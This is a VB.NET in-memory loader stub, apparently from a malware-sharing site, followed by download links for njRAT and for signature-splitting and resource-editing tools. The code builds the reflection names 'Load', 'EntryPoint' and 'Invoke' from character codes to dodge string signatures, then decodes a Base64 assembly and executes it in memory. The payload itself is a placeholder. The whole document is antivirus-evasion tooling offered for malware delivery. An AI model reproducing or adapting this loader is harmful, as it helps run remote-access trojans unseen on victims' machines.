Module Module1
    Sub Main()
        Dim A0 As String = ChrW(76)
        Dim A1 As String = ChrW(111)
        Dim A2 As String = ChrW(97)
        Dim A3 As String = ChrW(100)
        Dim Load As String = A0 + A1 + A2 + A3
 
        Dim B0 As String = ChrW(69)
        Dim B1 As String = ChrW(110)
        Dim B2 As String = ChrW(116)
        Dim B3 As String = ChrW(114)
        Dim B4 As String = ChrW(121)
        Dim B5 As String = ChrW(80)
        Dim B6 As String = ChrW(111)
        Dim B7 As String = ChrW(105)
        Dim B8 As String = ChrW(110)
        Dim B9 As String = ChrW(116)
        Dim EntryPoint As String = B0 + B1 + B2 + B3 + B4 + B5 + B6 + B7 + B8 + B9
 
        Dim C1 As String = ChrW(73)
        Dim C2 As String = ChrW(110)
        Dim C3 As String = ChrW(118)
        Dim C4 As String = ChrW(111)
        Dim C5 As String = ChrW(107)
        Dim C6 As String = ChrW(101)
        Dim Invoke As String = C1 + C2 + C3 + C4 + C5 + C6
 
        Dim Base64Byte() As Byte = Convert.FromBase64String("BASE64 STRINGS")
        Dim P1 As Object = CallByName(AppDomain.CurrentDomain, Load, CallType.Get, Base64Byte)
        Dim P2 As Object = CallByName(P1, EntryPoint, CallType.Get, Nothing)
        Dim P3 As Object = CallByName(P2, Invoke, CallType.Method, "", Nothing)
    End Sub
End Module

-----------------------------------------------------------------------------------------------------------

Algorithm Converter & Split By Rajawi v4.0
http://www.connect-trojan.net/2018/04/algorithm-converter-and-split-by-rajawi-v4.0.html

njRAT v0.7d By njq8
http://www.connect-trojan.net/2013/12/njrat-v0.7d-by-njq8.html

Resource Hacker 5.1.1 Portable
http://www.connect-trojan.net/2018/06/resource-hacker-5.1.1-portable.html